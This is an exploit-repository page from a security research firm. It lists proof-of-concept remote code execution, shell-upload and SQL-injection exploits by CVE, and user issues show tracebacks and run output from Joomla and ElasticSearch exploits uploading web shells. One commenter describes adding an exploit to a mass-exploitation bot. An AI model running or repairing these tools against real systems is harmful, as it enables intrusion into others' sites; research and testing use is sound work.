xiphosresearch / exploits

Miscellaneous exploit code

Exploits

Miscellaneous proof of concept exploit code written at Xiphos Research for testing purposes.

Current Exploits (index may be out of date)

• phpMoAdmin Remote Code Execution (CVE-2015-2208)
• LotusCMS Remote Code Execution (OSVDB-75095)
• ElasticSearch Remote Code Execution (CVE-2015-1427)
• ShellShock (httpd) Remote Code Execution (CVE-2014-6271)
• IISlap - http.sys Denial of Service/RCE PoC (DoS only). (MS-15-034)
• se0wned - Seowintech Router diagnostic.cgi remote root
• WPsh0pwn - Wordpress WPShop eCommerce Shell Upload (WPVDB-7830)
• nmediapwn - Wordpress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
• pwnflow - Wordpress Work the flow file upload 2.5.2 Shell Upload
• delusions - Wordpress InfusionSoft Gravity Forms Shell Upload (CVE-2014-6446)
• suiteshell - SuiteCRM Post-Auth Remote Code Execution (CVE-2015-NOTYET)
• suiteracer - SuiteCRM Post-Auth Remote Code Execution Race Condition (CVE-2015-xxxx)
• unsanitary - Address Sanitizer + Setuid Binary = Local Root exploit (LD_PRELOAD vector)
• DiamondFox - DiamondFox Botnet C&C Panel Shell Upload
• DoubtfullyMalignant - BenignCertain DoS PoC
• TorCT-Shell - TorCT RAT C&C Panel Shell Upload
• vBullshit - vBulletin 5.x.x unserialize() Remote Code Execution (CVE-2015-7808)
• Xanity-Shell - Xanity RAT C&C Panel Shell Upload
• Joomraa - PoC + upload blacklist bypass (CVE-2016-8869, CVE-2016-8870, CVE-2016-9836)
• Deathsize - LifeSize Room remote code execution & local root exploit
• AssetExploder - ManageEngine Asset Explorer remote code execution
• DroppleGanger - Droppler <= 1.6.5 Auth-Bypass & RCE
• tr-06fail - TR-064 Misimplementations leading to remote device takeover in ZyXEL Routers
• screen2root - Screen 4.05.00 (CVE-2017-5618) local privesc
• FreeACS-Pwn - TR-069 exploit for FreeACS server, disclosed at BSides Edinburgh.
• Joomblah - Joomla 3.7.0 SQL Injection exploit (CVE-2017-8917)
• pisspoorpool - Local file inclusion exploit for p2pool status page
• wipgpwn - Remote Root Exploit for WePresent WiPG-1000,1500,2000 devices
• dloser - D-Link DNS-320/330/350/x Remote Root Exploit
• TBA

Infrequently Asked Questions.

1. Why is there no "leet zerodays" in here?

   Because some of our researchers don't believe in killing bugs prematurely, and the unofficial policy on disclosure is that it is at the sole discretion of the person who finds the bug.

2. Why don't you just write metasploit modules?

   Reasons, namely, "ruby", amongst other things. Also, other people who are actually getting paid by Rapid7 to do such things can do such things :)

3. Why are there some old bugs in here?

   The public exploits available for them were unreliable/untrustworthy/rubbish and better ones were called for, or, they are parts of ongoing experiments into various methods to make them more reliable/stealthy/whatever.

Licence

See individual exploits for their respective licences.

Bug Reports

We take the quality of our exploit code very seriously. If you find a bug, or an edge case where an exploit fails to succeed against a vulnerable target, do let us know immediately so said situation can be rectified via the bug tracker (issues thing on this repository), or via email/twitter.

Changes

There is no changelogs here, as that would be too much effort, just git commits. Exploits may be updated regularly for greater stability, reliability or stealthiness, so check them for updates regularly.

exploits's Issues

Can only concatenate str

python joomblah.py http://10.xx.xx.xx.

Traceback (most recent call last):
File "joomblah.py", line 186, in
sys.exit(main("http://IP:8080/joomla"))
File "joomblah.py", line 183, in main
pwn_joomla_again(options)
File "joomblah.py", line 147, in pwn_joomla_again
tables = extract_joomla_tables(options, sess, token)
File "joomblah.py", line 74, in extract_joomla_tables
result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
File "joomblah.py", line 46, in joomla_370_sqli_extract
result += value
TypeError: can only concatenate str (not "bytes") to str

No Mail to give mail id

[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation

[email protected]
I am not getting any activation mail?

CSFR token

python joom.py -u hacker -p password1 -e [email protected] http://website.com/joomla

 @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
 @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
 @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
 !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
 !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
 !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
 !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       

!!: :!: :!: !:! :!: !:! :!: :!: :!: !:! :!: !:! :!: !:! :!:
::: : :: ::::: :: ::::: :: ::: :: :: ::: :: ::: :: ::: ::
: ::: : : : : : : : : : : : : : : : : : :::

[-] Getting token
[!] Cannot find CSRF token
[*] FAILURE

After exploit when try to login: "Cannot open file for writing log"

After I use joomra on my site appears this error in admin page:

but joomra returns me that account was created and loginin was success (althought it returns me a failure anyway):

These modifications on your exploit

bro i add your exploit to my mass exploit bot.. and i make these modifications:

import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

and

resp = sess.get(options.url + "/index.php/component/users/?view=login", verify=False)

To take off warning and ssl certificate check ;))

see ya

link: https://github.com/anarcoder/google_explorer/blob/beta_version/exploits/joomraa.py

Do we release RCE as SYSTEM for that Zoho product?

It's been 6 months, no bug bounty pay-out, they stopped replying to my emails...

Have verified exploit works with latest version, one executable (the exploitable one) has same MD5 hash, the other executable has same hard-coded auth string.

People gotta know.

AttributeError: 'NoneType' object has no attribute 'read'

I am getting this error when executing this exploit. It happens on when the script is uploading the exploit. Host is running Joomla 3.6.3.

Should I be pointing the script to the login page or the home page?

thanks

root@kali:/tmp# ./joomra.py -u none -e [email protected] http://xxx.xxx.xxx.xxx

 @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
 @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
 @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
 !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
 !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
 !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
 !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       

[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[+] Admin Login Success!
[+] Getting media options
[+] Setting media options
[*] Uploading exploit.pht
[*] Uploading exploit to: http://xxx.xxx.xxx.xxx/images/FGIA7RIB7.pht
Traceback (most recent call last):
File "./joomra.py", line 249, in <module>
sys.exit(main("http://192.168.10.100:8080/joomla"))
File "./joomra.py", line 243, in main
if pwn_joomla(options):
File "./joomra.py", line 218, in pwn_joomla
return stage_two(options, sess)
File "./joomra.py", line 123, in stage_two
return upload_file(options, sess, image_path)
File "./joomra.py", line 141, in upload_file
resp = sess.post(upload_url, files=files, data=data, verify=False)
File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 535, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 474, in request
prep = self.prepare_request(req)
File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 407, in prepare_request
hooks=merge_hooks(request.hooks, self.hooks),
File "/usr/lib/python2.7/dist-packages/requests/models.py", line 305, in prepare
self.prepare_body(data, files, json)
File "/usr/lib/python2.7/dist-packages/requests/models.py", line 483, in prepare_body
(body, content_type) = self._encode_files(files, data)
File "/usr/lib/python2.7/dist-packages/requests/models.py", line 158, in _encode_files
fdata = fp.read()
AttributeError: 'NoneType' object has no attribute 'read'

KeyError: 'hits'

After getting shell when I want to run my commands I got this error:

Traceback (most recent call last):
  File "elastic_shell.py", line 56, in <module>
    main(args=sys.argv)
  File "elastic_shell.py", line 53, in main
    exploit(target=args[1])
  File "elastic_shell.py", line 47, in exploit
    execute_command(target=target, command=cmd)
  File "elastic_shell.py", line 36, in execute_command
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
KeyError: 'hits'

DoubtfullyMalignant.py - Does not run on Python 2.7 /3.5

DoubtfullyMalignant.py

On v2.7 you get: ImportError: No module named socketserver
On v3.5 you get: SyntaxError: Missing parentheses in call to 'print'

Affected systems: Ubuntu Server and Windows 7

Please fix.

Typo in joomraa.py line 187

https://github.com/XiphosResearch/exploits/blob/master/Joomraa/joomraa.py

line 187: except Excption:

Changing it to except Exception: worked for me.

Thanks for sharing the exploit. It is super easy to use.

Script Stops after finding table

Script stops after :-
[-] Fetching CSRF token
[-] Testing SQLi

• Found table: b'fb9j5_users'
• Extracting users from b'fb9j5_users'
• Extracting sessions from b'fb9j5_usession
  Can Just Anyone help me to solve this issue

Cannot find CSRF token !

when runnig this script i have message: Cannot find CSRF token
does it means that my website is not vulnerable?

Line 46 Fix

exploits/Joomblah/joomblah.py

Line 46 in 44bf14d

result += value

Line 46 needs to be fixed to: result += value.decode('utf-8')